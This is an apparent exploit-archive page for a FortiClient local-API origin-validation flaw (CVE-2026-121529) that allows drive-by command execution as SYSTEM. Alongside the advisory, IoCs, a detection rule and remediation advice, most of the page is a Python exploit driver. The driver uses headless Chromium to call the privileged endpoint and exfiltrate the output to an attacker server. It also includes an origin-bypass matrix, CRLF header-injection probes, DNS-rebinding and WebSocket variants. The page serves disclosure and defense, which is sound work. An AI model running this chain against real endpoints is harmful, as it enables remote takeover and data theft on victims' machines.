PoC Archive PoC Archive
CVE-2026-121529 category: web CVSS 9.6 (CRITICAL)
Patched

Fortinet2Shell — FortiClient Local API Origin Validation Error to SYSTEM RCE (CVE-2026-121529)

Published: 2026-11-25 • Researcher: googlesky (PoC); Fortinet PSIRT (advisory)

Target software Fortinet FortiClient, FortiClient Windows PAM, FortiClient Mac
Affected versions Windows and Windows PAM 7.4.0–7.4.7, Windows 7.2.0–7.2.14; Mac 7.4.0–7.4.7. Fixed in 7.4.8 / 7.2.15
Status Weaponized (lab model; real FortiClient required for live use)
Severity Critical · CVSS 9.6
CVSS 9.6/10
Severity
Critical
CVE
CVE-2026-121529
Category
web
Affected product
Fortinet FortiClient, FortiClient Windows PAM, FortiClient Mac
Affected versions
Windows and Windows PAM 7.4.0–7.4.7, Windows 7.2.0–7.2.14; Mac 7.4.0–7.4.7. Fixed in 7.4.8 / 7.2.15
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / Researchergooglesky (PoC); Fortinet PSIRT (advisory)
CVE / AdvisoryCVE-2026-121529
Categoryweb
SeverityCritical
CVSS Score9.6 (NVD CVSSv3.1); vendor advisory: 9.1
StatusWeaponized (lab model; real FortiClient required for live use)
TagsRCE, FortiClient, FortiPAM, CORS, origin-validation, local-API, browser, drive-by, Windows, macOS, SYSTEM
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiClient, FortiClient Windows PAM, FortiClient Mac
Versions AffectedWindows and Windows PAM 7.4.0–7.4.7, Windows 7.2.0–7.2.14; Mac 7.4.0–7.4.7. Fixed in 7.4.8 / 7.2.15
Language / PlatformWindows / macOS endpoint software; browser-driven local HTTP/WebSocket API on 127.0.0.1:9191
Authentication RequiredNo (victim must visit an attacker-controlled page)
Network Access RequiredYes — the victim’s browser reaches the loopback API from a web page

Summary

Fortinet2Shell is a drive-by RCE against FortiClient’s local API. The privileged endpoint on 127.0.0.1:9191 does not validate the caller’s Origin, and it reflects the attacker’s origin while allowing credentials. Any web page the victim visits can therefore make the victim’s own browser call the privileged-session endpoint and execute a command with the service’s privileges — SYSTEM on Windows. The vulnerability requires victim interaction (a page visit) but no credentials and no prior local access. The included PoC runs a real headless Chromium inside the endpoint’s network namespace against a faithful local API model, demonstrates command execution and data exfiltration, and includes a differential against three remediation shapes plus a 0-day sweep against the patched model.

Vulnerability Details

Root Cause

The FortiClient local API listens on loopback and offers a privileged-session operation that runs a command with the service account’s privileges. Its CORS/origin-validation layer reflects the request’s Origin in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true, so a cross-origin page can both drive the API and read the response. The same design is exposed over a WebSocket surface, which no CORS policy governs. An origin check that accepts requests without an Origin header is bypassed by a cross-origin <img>; a DNS-rebinding style page can make the page origin equal the API origin.

Attack Vector

  1. The attacker hosts a page on any origin.
  2. The victim visits it; JavaScript issues fetch('http://127.0.0.1:9191/api/v1/privileged/session') (or opens the WebSocket variant).
  3. The local API reflects the origin and executes the privileged operation.
  4. The page reads the response (CORS reflection) or uses blind side channels such as an image load; the PoC exfiltrates the command output and a proof image to the attacker server.

Impact

Unauthenticated remote code execution as the FortiClient service account (SYSTEM on Windows) on the victim’s endpoint. The lab proves command execution and exfiltration; a real deployment also exposes the endpoint’s privileged session handling and any data the service can reach.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Podman; Docker can be substituted)
Target:      Local FortiClient API model (vulnerable + three remediation shapes)
Attacker:    Attacker web site container + headless Chromium (Playwright) in a
             PoC container sharing the endpoint's network namespace
Tools:       Podman, Python 3, Playwright/Chromium (inside the PoC image)

The real FortiClient code and binaries are not redistributed; the lab models the documented behaviour (loopback listener, privileged-session operation, origin reflection, WebSocket surface). It is a faithful reproduction of the security-relevant semantics, not the proprietary product.

Setup Steps

Shell script
1
2
3
4
5
6
7
8
9
make prepare          # build the endpoint and PoC images
make up               # start four endpoint models + attacker site
make check-vuln       # vulnerable model (exit 1 = vulnerable)
make check-fixed      # strict model (exit 0 = safe)
make exploit-vuln     # full chain: command output + exfiltrated data
make differential     # vulnerable vs the three remediation shapes
make down             # tear down

./run-lab.sh up && ./run-lab.sh exploit

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the lab — make prepare && make up.
  2. Classify the vulnerable model — make check-vuln returns exit code 1 because the page can drive the API and read the answer.
  3. Run the full chain — make exploit-vuln runs the PoC container in the endpoint’s network namespace, loads the attacker page in headless Chromium, and drives the privileged-session endpoint.
  4. Verify execution — the lab writes the command output and the exfiltrated data to the shared results/ volume; the PoC prints a proof path and the data.
  5. Compare remediations — make differential shows the CORS-header-only fix does not stop the WebSocket path, and the origin-only fix is bypassed by a missing-Origin request.

Exploit Code

The site viewer shows exploit.py; the canonical driver is poc/poc.py, the standalone chain is exploit/exploit.py, and the local API/attacker models are in lab/.

The PoC is browser-driven, not a cURL one-liner: a real Chromium must enforce (or fail to enforce) the CORS decision. The poc container shares the endpoint container’s network namespace so http://127.0.0.1:9191 is the victim’s real loopback.

Expected Output

Output
1
2
3
4
5
[*] endpoint: vulnerable model
[*] page -> http://127.0.0.1:9191/api/v1/privileged/session
[*] command executed; proof written to /results/proof.png
[*] exfiltrated data: <command output>
[*] verdict: VULNERABLE (exit 1)

make check-fixed should print SAFE (exit 0) for the strict model.

Detection & Indicators of Compromise

  • Browser or endpoint telemetry showing a page issuing requests to http://127.0.0.1:9191/api/v1/privileged/session or opening the local WebSocket.
  • FortiClient local API logs with hostile or missing Origin headers, or responses reflecting an external origin with Access-Control-Allow-Credentials: true.
  • Outbound requests from the endpoint to an unusual attacker domain immediately after a page visit (the PoC’s exfiltration path).
  • FortiClient version in the affected range and the privileged-session feature enabled.
  • Browser console/CORS errors followed by successful local-API responses are a strong signal of the reflection behavior.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"FortiClient local API privileged session from browser"; \
  content:"/api/v1/privileged/session"; http_uri; \
  content:"Origin|3a|"; http_header; sid:9002613;)

Remediation

ActionDetail
PatchUpgrade FortiClient to 7.4.8 or 7.2.15 (or later) on Windows, Windows PAM and Mac; restart the FortiClient service.
WorkaroundRestrict the local API to expected origins, validate the Origin header including its absence, and enforce origin checks on the WebSocket handshake (a CORS-header-only fix is insufficient). Disable the privileged-session feature where it is not required.
Config HardeningIsolate privileged browsing, monitor loopback API calls from browsers, and treat endpoint local APIs as an attack surface in EDR/browser policy.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-121529 on 2026-11-25 (MIT). The PoC is a model-based reproduction: FortiClient is proprietary, so the lab implements the documented local API semantics and uses a real browser to exercise the origin-validation flaw. It proves the bug class and the browser-side chain; a live test requires the real FortiClient build on Windows/macOS.

Review of candidates: googlesky/CVE-2026-121529 was selected because it is licensed, includes a real-browser lab, three remediation differentials, and recorded evidence. tc4dy/CVE-2026-121529-Toolkit (licensed) is a credible independent PoC/toolkit and is referenced as an alternate. ashrafzaryouh/CVE-2026-121529 is a near-identical copy of the googlesky PoC with no license and was not ingested. Ghost-Bx1/cve-2026-121529-forticlient-cors-rce was not reachable at ingest time.

The vulnerability requires victim interaction and is browser-enforced; a scripted HTTP client cannot demonstrate the CORS flaw, which is why the PoC uses Chromium. The NVD CVSS is 9.6; the vendor advisory scores it 9.1 — both are included above. Run only against endpoints you own or have written authorization to test.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-121529 (MIT)
"""
CVE-2026-121529 -- FortiClient local API origin validation error ("Fortinet2Shell").

PoC driver.  Runs a *real* browser (headless Chromium via Playwright) inside the same
network namespace as the FortiClient local API, so `http://127.0.0.1:9191` really is the
victim's loopback, exactly like on an endpoint that runs FortiClient.

The attack:
    1. the browser loads a malicious page served by a separate attacker container,
    2. the page's JavaScript does `fetch('http://127.0.0.1:9191/api/v1/privileged/session')`,
    3. the FortiClient local API executes the command that was handed to it,
    4. the attacker exfiltrates the API response back to their own server.

Modes:
    check      run the attack once, print the verdict
    exploit    same, plus verification of the on-disk proof of execution
    mitigation the same attack against a CORS-header-only remediation
    probe     origin-validation bypass matrix against the patched model
    raw        raw-socket HTTP probes (header injection, missing/duplicate Origin, Host abuse)
    rebind     DNS-rebinding style attack: the page origin == the API origin, so the browser
               applies no CORS check at all
    ws         the WebSocket surface, which no CORS policy governs
    0day       full sweep: bypass + raw + rebind + the "CORS-header-only remediation" residual
    all        everything
"""

import argparse
import json
import os
import socket
import sys
import time
from urllib.parse import quote

try:
    from playwright.sync_api import sync_playwright
except Exception as exc:  # pragma: no cover
    print("playwright is required: %r" % (exc,), file=sys.stderr)
    sys.exit(2)

TARGET = os.environ.get("FCT_TARGET", "http://127.0.0.1:9191")
ATTACKER = os.environ.get("ATTACKER_URL", "http://attacker-site:8080")
TOKEN = os.environ.get("FCT_TOKEN", "fct-local-agent-shared-secret")
TOKEN_HEADER = "x-fortipam-client"
RESULTS = os.environ.get("POC_RESULTS", "/results")
PROOF_DIR = os.path.join(RESULTS, "poc")
MARKER = os.path.join(RESULTS, "marker")
REBIND_HOST = "api.evil.test"
REBIND_PORT = 9191

CHROME_ARGS = [
    "--no-sandbox",
    "--disable-dev-shm-usage",
    "--disable-gpu",
    "--disable-features=IsolateOrigins,site-per-process",
]

# A 1x1 PNG.  The executed command drops it into the artefact store; the page then
# loads it as an image.  If it decodes, the command really ran -- which is how a blind
# RCE becomes a *confirmed* one.
PNG_B64 = (
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQ"
    "AAAABJRU5ErkJggg=="
)
DEFAULT_CMD = (
    "id > {marker}/browser-pwn.txt 2>&1; echo PWNED >> {marker}/browser-pwn.txt; "
    "echo '{png}' | base64 -d > {marker}/proof.png"
)


# --------------------------------------------------------------------- helpers


def list_proofs():
    try:
        return sorted(os.listdir(PROOF_DIR))
    except OSError:
        return []


def proof_files():
    out = []
    for name in list_proofs():
        p = os.path.join(PROOF_DIR, name)
        try:
            with open(p, encoding="utf-8") as fh:
                out.append(json.load(fh))
        except Exception:
            pass
    return out


def read_exfil():
    p = os.path.join(RESULTS, "exfil.jsonl")
    recs = []
    try:
        with open(p, encoding="utf-8") as fh:
            for line in fh:
                line = line.strip()
                if line:
                    try:
                        recs.append(json.loads(line))
                    except Exception:
                        recs.append({"raw": line})
    except OSError:
        pass
    return recs


def attacker_host():
    h = ATTACKER.split("//", 1)[-1].split("/")[0].split(":")[0]
    return h


def attacker_ip():
    try:
        return socket.gethostbyname(attacker_host())
    except Exception:
        return "127.0.0.1"


def ws_url():
    return TARGET.replace("https://", "wss://").replace("http://", "ws://") + "/ws"


# ------------------------------------------------------------------- the router


def make_router(origin_override=None, drop_origin=False, extra=None, rewrite=None):
    """Playwright router that can tamper with the request the browser makes.

    * origin_override : replace the `Origin` header with this value
    * drop_origin     : remove the `Origin` header entirely (native-client shape)
    * extra           : additional request headers
    * rewrite         : list of (url_prefix, replacement_prefix) -- emulates the DNS
                        rebinding step, where the browser keeps talking to the
                        attacker's host name but the packet goes to the loopback API.
    """

    def handler(route):
        req = route.request
        headers = {k.lower(): v for k, v in req.headers.items()}
        url = req.url
        if rewrite:
            for src, dst in rewrite:
                if url.startswith(src):
                    url = dst + url[len(src) :]
                    break
        if origin_override is not None:
            headers["origin"] = origin_override
        elif drop_origin:
            headers.pop("origin", None)
        if extra:
            for k, v in extra.items():
                headers[k.lower()] = v
        try:
            route.continue_(url=url, headers=headers)
        except Exception:
            try:
                route.abort()
            except Exception:
                pass

    return handler


# ------------------------------------------------------------------ the attack


def run_attack(
    pw,
    cmd=None,
    target=None,
    legacy=None,
    origin_override=None,
    drop_origin=False,
    extra=None,
    rewrite=None,
    rebind=False,
    label="attack",
):
    """Load the malicious page in a real browser and observe what happens."""
    cmd = cmd or DEFAULT_CMD.format(marker=MARKER, png=PNG_B64)
    target = target or (TARGET + "/api/v1/privileged/session")
    legacy = legacy or (TARGET + "/api/v1/privileged/session/legacy")
    proofs_before = {p.get("proof_id") for p in proof_files()}

    result = {
        "label": label,
        "target": target,
        "legacy": legacy,
        "cmd": cmd,
        "origin_override": origin_override,
        "drop_origin": drop_origin,
        "extra_headers": extra,
        "rebind": rebind,
        "ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
    }

    args = list(CHROME_ARGS)
    if rebind:
        # Step 1 of a DNS rebinding attack: the attacker's name resolves to the
        # attacker's own server, so the malicious page is loaded from
        # http://api.evil.test:9191/ (same host:port as the API it will attack).
        args.append("--host-resolver-rules=MAP %s %s" % (REBIND_HOST, attacker_ip()))

    with pw.chromium.launch(headless=True, args=args) as browser:
        ctx = browser.new_context(ignore_https_errors=True)
        page = ctx.new_page()
        console = []
        page.on("console", lambda m: console.append("%s: %s" % (m.type, m.text)))
        page.on("pageerror", lambda e: console.append("pageerror: %s" % e))

        rewrite = list(rewrite or [])
        if rebind:
            # The DNS rebinding step: the browser keeps using the attacker's host name
            # (so the request is *same-origin* and no CORS check applies at all), but the
            # packet is delivered to the FortiClient local API on the loopback.
            rewrite.insert(
                0,
                (
                    "http://%s:%d/api/" % (REBIND_HOST, REBIND_PORT),
                    TARGET + "/api/",
                ),
            )

        page.route(
            "**/*",
            make_router(
                origin_override=origin_override,
                drop_origin=drop_origin,
                extra=extra,
                rewrite=rewrite,
            ),
        )

        if rebind:
            page_url = "http://%s:%d/exploit.html" % (REBIND_HOST, REBIND_PORT)
            t = "http://%s:%d/api/v1/privileged/session" % (REBIND_HOST, REBIND_PORT)
            lg = "http://%s:%d/api/v1/privileged/session/legacy" % (REBIND_HOST, REBIND_PORT)
            fl = "http://%s:%d/api/v1/files/proof.png" % (REBIND_HOST, REBIND_PORT)
        else:
            page_url = ATTACKER + "/exploit.html"
            t = target
            lg = legacy
            fl = TARGET + "/api/v1/files/proof.png"

        url = "%s?target=%s&legacy=%s&cmd=%s&files=%s&ws=%s" % (
            page_url,
            quote(t, safe=""),
            quote(lg, safe=""),
            quote(cmd, safe=""),
            quote(fl, safe=""),
            quote(ws_url(), safe=""),
        )
        result["page_url"] = url
        try:
            page.goto(url, wait_until="domcontentloaded", timeout=30000)
            page.wait_for_function(
                "() => window.__results && window.__results.attempts.length >= 6",
                timeout=30000,
            )
            page_results = page.evaluate("window.__results")
        except Exception as exc:
            page_results = {"error": str(exc)}
            try:
                page_results["partial"] = page.evaluate("window.__results")
            except Exception:
                pass
        result["page"] = page_results
        result["console"] = console[-20:]
        try:
            ctx.close()
        except Exception:
            pass

    # ---- verify what actually happened on the endpoint
    time.sleep(0.4)
    new_proofs = [
        p for p in proof_files() if p.get("proof_id") and p["proof_id"] not in proofs_before
    ]

    result["executed"] = len(new_proofs) > 0
    result["proofs"] = new_proofs
    result["proof_count"] = len(new_proofs)
    result["channels_executed"] = sorted({p.get("channel") for p in new_proofs if p.get("channel")})
    # The <img> cross-origin GET carries no Origin header at all.
    result["img_csrf_executed"] = any(p.get("channel") == "query" for p in new_proofs)
    result["origins_seen"] = sorted({str(p.get("origin")) for p in new_proofs})
    attempts = (page_results or {}).get("attempts") or []
    ws_att = [a for a in attempts if a.get("name") == "websocket"]
    conf_att = [a for a in attempts if a.get("name") == "confirm-oracle"]
    result["websocket_opened"] = bool(ws_att and ws_att[0].get("opened"))
    result["websocket_readable"] = bool(ws_att and ws_att[0].get("readable"))
    result["websocket_executed"] = any(p.get("channel") == "websocket" for p in new_proofs)
    result["confirmed"] = bool(conf_att and conf_att[0].get("confirmed"))

    attempts = (page_results or {}).get("attempts") or []
    readable = [
        a
        for a in attempts
        if a.get("readable")
        and isinstance(a.get("body"), str)
        and ("proof_id" in a["body"] or "PWNED" in a["body"] or "uid=" in a["body"])
    ]
    result["readable"] = len(readable) > 0
    result["readable_attempts"] = readable
    result["exfiltrated"] = bool(read_exfil())
    result["marker_present"] = os.path.exists(MARKER + "/browser-pwn.txt")
    return result


# --------------------------------------------------------------- raw HTTP probes


def raw_probe(path="/api/v1/privileged/session", headers=None, method="POST", body=None):
    """Send a hand-crafted HTTP request to the local API (no browser involved)."""
    host, port = TARGET.split("//", 1)[-1].split("/")[0].split(":")
    port = int(port)
    if body is None:
        body = json.dumps({"command": "id > %s/raw-pwn.txt 2>&1" % MARKER}).encode()
    lines = ["%s %s HTTP/1.1" % (method, path), "Host: %s:%d" % (host, port)]
    for k, v in (headers or {}).items():
        lines.append("%s: %s" % (k, v))
    lines.append("Content-Type: application/json")
    lines.append("Content-Length: %d" % len(body))
    lines.append("Connection: close")
    raw = ("\r\n".join(lines) + "\r\n\r\n").encode() + body
    s = socket.create_connection((host, port), timeout=10)
    s.sendall(raw)
    data = b""
    s.settimeout(10)
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    finally:
        s.close()
    return data.decode("utf-8", "replace")


# --------------------------------------------------------------- bypass matrix

BYPASS_CANDIDATES = [
    ("allowlisted-origin", "https://fortipam.fortinet.com", {}),
    ("allowlisted-origin-uppercase", "https://FORTIPAM.FORTINET.COM", {}),
    ("allowlisted-origin-trailing-dot", "https://fortipam.fortinet.com.", {}),
    ("allowlisted-origin-explicit-default-port", "https://fortipam.fortinet.com:443", {}),
    ("allowlisted-origin-zero-padded-port", "https://fortipam.fortinet.com:0443", {}),
    ("allowlisted-origin-trailing-space", "https://fortipam.fortinet.com ", {}),
    ("userinfo-confusion", "https://fortipam.fortinet.com@evil.example", {}),
    ("suffix-confusion", "https://fortipam.fortinet.com.evil.example", {}),
    ("prefix-confusion", "https://evilfortipam.fortinet.com", {}),
    ("parent-domain", "https://fortinet.com", {}),
    ("chrome-extension-origin", "chrome-extension://klbibpmmopcnogkgdclkbjoepgphcnak", {}),
    ("null-origin", "null", {}),
    ("null-origin-with-spoofed-fetch-metadata", "null", {"sec-fetch-site": "same-origin"}),
    ("wildcard-origin", "*", {}),
    ("same-origin-ipv4", "http://127.0.0.1:9191", {}),
    ("same-origin-localhost", "http://localhost:9191", {}),
    ("missing-origin-header", None, {}),
]


def bypass_matrix(pw, cmd, token=None):
    """Origin-validation bypass matrix.

    Pass 1 (token=None): the attacker knows nothing but the URL.  Every candidate must
    be rejected -- the patched model requires both a trusted origin and the shared
    secret header.

    Pass 2 (token=<lab secret>): the origin validator is tested in isolation.  Only a
    genuinely allow-listed origin may pass; every parser differential (case, trailing
    dot, explicit/zero-padded default port, userinfo, suffix, prefix, parent domain,
    `null`, wildcard, missing header) must still be rejected.
    """
    out = []
    for name, origin, extra in BYPASS_CANDIDATES:
        hdrs = dict(extra or {})
        if token:
            hdrs[TOKEN_HEADER] = token
        r = run_attack(
            pw,
            cmd=cmd,
            origin_override=origin,
            drop_origin=(origin is None),
            extra=hdrs or None,
            label="bypass:" + name,
        )
        r["candidate"] = name
        r["candidate_origin"] = origin
        r["token_supplied"] = bool(token)
        out.append(r)
    return out


def raw_probes(cmd):
    probes = [
        ("no-origin-header", {"User-Agent": "raw-probe"}),
        ("origin-null", {"Origin": "null"}),
        ("origin-allowlisted", {"Origin": "https://fortipam.fortinet.com"}),
        ("origin-untrusted", {"Origin": "http://evil.example"}),
        ("duplicate-origin", {"Origin": "https://fortipam.fortinet.com"}),
        ("origin-crlf-injection", {"Origin": "https://fortipam.fortinet.com\r\nX-Injected: yes"}),
        ("origin-with-space-list", {"Origin": "https://fortipam.fortinet.com http://evil.example"}),
        ("host-header-abuse", {"Host": "api.evil.test"}),
        ("forwarded-host-abuse", {"X-Forwarded-Host": "api.evil.test"}),
    ]
    results = []
    for name, hdrs in probes:
        # a second Origin header is genuinely duplicated
        if name == "duplicate-origin":
            resp = raw_probe_with_extra_header(hdrs, ("Origin", "http://evil.example"))
        else:
            resp = raw_probe(headers=hdrs)
        results.append(
            {
                "probe": name,
                "headers": {k: v.replace("\r\n", "\\r\\n") for k, v in hdrs.items()},
                "response": resp[:1200],
                "executed": '"proof_id"' in resp or '"ok": true' in resp,
                "injected_header": "x-injected" in resp.lower(),
            }
        )
    return results


def raw_probe_with_extra_header(headers, extra):
    host, port = TARGET.split("//", 1)[-1].split("/")[0].split(":")
    port = int(port)
    body = json.dumps({"command": "id > %s/raw-pwn.txt 2>&1" % MARKER}).encode()
    lines = [
        "POST /api/v1/privileged/session HTTP/1.1",
        "Host: %s:%d" % (host, port),
    ]
    for k, v in headers.items():
        lines.append("%s: %s" % (k, v))
    lines.append("%s: %s" % extra)
    lines.append("Content-Type: application/json")
    lines.append("Content-Length: %d" % len(body))
    lines.append("Connection: close")
    raw = ("\r\n".join(lines) + "\r\n\r\n").encode() + body
    s = socket.create_connection((host, port), timeout=10)
    s.sendall(raw)
    data = b""
    s.settimeout(10)
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    finally:
        s.close()
    return data.decode("utf-8", "replace")


# ---------------------------------------------------------------------- main


def main():
    global TARGET, ATTACKER
    ap = argparse.ArgumentParser()
    ap.add_argument(
        "mode",
        nargs="?",
        default="check",
        choices=[
            "check",
            "exploit",
            "mitigation",
            "probe",
            "raw",
            "rebind",
            "ws",
            "0day",
            "all",
        ],
    )
    ap.add_argument("--target", default=TARGET)
    ap.add_argument("--attacker", default=ATTACKER)
    ap.add_argument("--cmd", default=None)
    ap.add_argument("--out", default=None)
    args = ap.parse_args()

    TARGET = args.target
    ATTACKER = args.attacker
    os.makedirs(PROOF_DIR, exist_ok=True)
    os.makedirs(MARKER, exist_ok=True)

    cmd = args.cmd or DEFAULT_CMD.format(marker=MARKER, png=PNG_B64)
Showing 500 of 626 lines View full file on GitHub →